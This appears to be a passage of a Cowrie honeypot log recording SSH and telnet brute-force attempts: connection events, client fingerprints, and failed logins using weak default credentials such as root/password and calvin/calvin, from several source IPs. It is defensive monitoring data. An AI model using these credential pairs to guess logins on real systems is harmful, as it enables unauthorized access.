{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:51.349821Z","src_ip":"41.86.34.139","session":"a10e719fa3be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":54350,"dst_ip":"10.17.0.5","dst_port":22,"session":"0173e6681b9b","protocol":"ssh","message":"New connection: 141.11.88.14:54350 (10.17.0.5:22) [session: 0173e6681b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:51.933222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:51.976377Z","src_ip":"141.11.88.14","session":"0173e6681b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:52.094151Z","src_ip":"141.11.88.14","session":"0173e6681b9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123123123","message":"login attempt [user1/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:52.215321Z","src_ip":"41.86.34.139","session":"a10e719fa3be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:52.520328Z","src_ip":"141.11.88.14","session":"0173e6681b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:53.425166Z","src_ip":"41.86.34.139","session":"a10e719fa3be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:53.955941Z","src_ip":"141.11.88.14","session":"0173e6681b9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14044,"dst_ip":"10.17.0.5","dst_port":22,"session":"33ea54c678a7","protocol":"ssh","message":"New connection: 141.11.88.14:14044 (10.17.0.5:22) [session: 33ea54c678a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:59.779656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:00.316249Z","src_ip":"141.11.88.14","session":"33ea54c678a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:00.319475Z","src_ip":"141.11.88.14","session":"33ea54c678a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:01.006755Z","src_ip":"141.11.88.14","session":"33ea54c678a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:02.302320Z","src_ip":"141.11.88.14","session":"33ea54c678a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":41342,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0d8adab0a2","protocol":"ssh","message":"New connection: 103.143.231.24:41342 (10.17.0.5:22) [session: ef0d8adab0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:03.453755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:03.458765Z","src_ip":"103.143.231.24","session":"ef0d8adab0a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:03.529017Z","src_ip":"103.143.231.24","session":"ef0d8adab0a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"michael","password":"michael123","message":"login attempt [michael/michael123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:03.846736Z","src_ip":"103.143.231.24","session":"ef0d8adab0a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41000,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc846b1ff3d2","protocol":"telnet","message":"New connection: 128.199.8.54:41000 (159.203.135.109:23) [session: fc846b1ff3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:04.834516Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:04.924328Z","src_ip":"103.143.231.24","session":"ef0d8adab0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.750893115997314,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:06.846155Z","src_ip":"103.249.87.183","session":"9ff0e084b841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14064,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc542c84f85f","protocol":"ssh","message":"New connection: 141.11.88.14:14064 (10.17.0.5:22) [session: cc542c84f85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:07.250262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:07.676990Z","src_ip":"141.11.88.14","session":"cc542c84f85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:07.679871Z","src_ip":"141.11.88.14","session":"cc542c84f85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":46628,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b0e86c9e9d","protocol":"ssh","message":"New connection: 197.5.145.150:46628 (10.17.0.5:22) [session: 31b0e86c9e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:08.582162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:08.586295Z","src_ip":"197.5.145.150","session":"31b0e86c9e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:08.706072Z","src_ip":"197.5.145.150","session":"31b0e86c9e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joe","password":"joe","message":"login attempt [joe/joe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:08.907277Z","src_ip":"141.11.88.14","session":"cc542c84f85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wd","password":"123456","message":"login attempt [wd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:09.227095Z","src_ip":"197.5.145.150","session":"31b0e86c9e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:10.187024Z","src_ip":"141.11.88.14","session":"cc542c84f85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:10.349982Z","src_ip":"197.5.145.150","session":"31b0e86c9e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43294,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e9561c2723","protocol":"ssh","message":"New connection: 141.11.88.14:43294 (10.17.0.5:22) [session: 77e9561c2723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:15.383858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:15.715445Z","src_ip":"141.11.88.14","session":"77e9561c2723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:15.720112Z","src_ip":"141.11.88.14","session":"77e9561c2723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:16.761214Z","src_ip":"141.11.88.14","session":"77e9561c2723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:18.080618Z","src_ip":"141.11.88.14","session":"77e9561c2723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":54480,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1b34e111416","protocol":"ssh","message":"New connection: 103.176.20.57:54480 (159.203.135.109:22) [session: a1b34e111416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:21.713009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:21.716990Z","src_ip":"103.176.20.57","session":"a1b34e111416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:21.973803Z","src_ip":"103.176.20.57","session":"a1b34e111416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interne","message":"login attempt [root/interne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:22.749266Z","src_ip":"103.176.20.57","session":"a1b34e111416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51222,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd2427b78e56","protocol":"ssh","message":"New connection: 141.11.88.14:51222 (10.17.0.5:22) [session: fd2427b78e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:23.404801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:23.580961Z","src_ip":"141.11.88.14","session":"fd2427b78e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@opens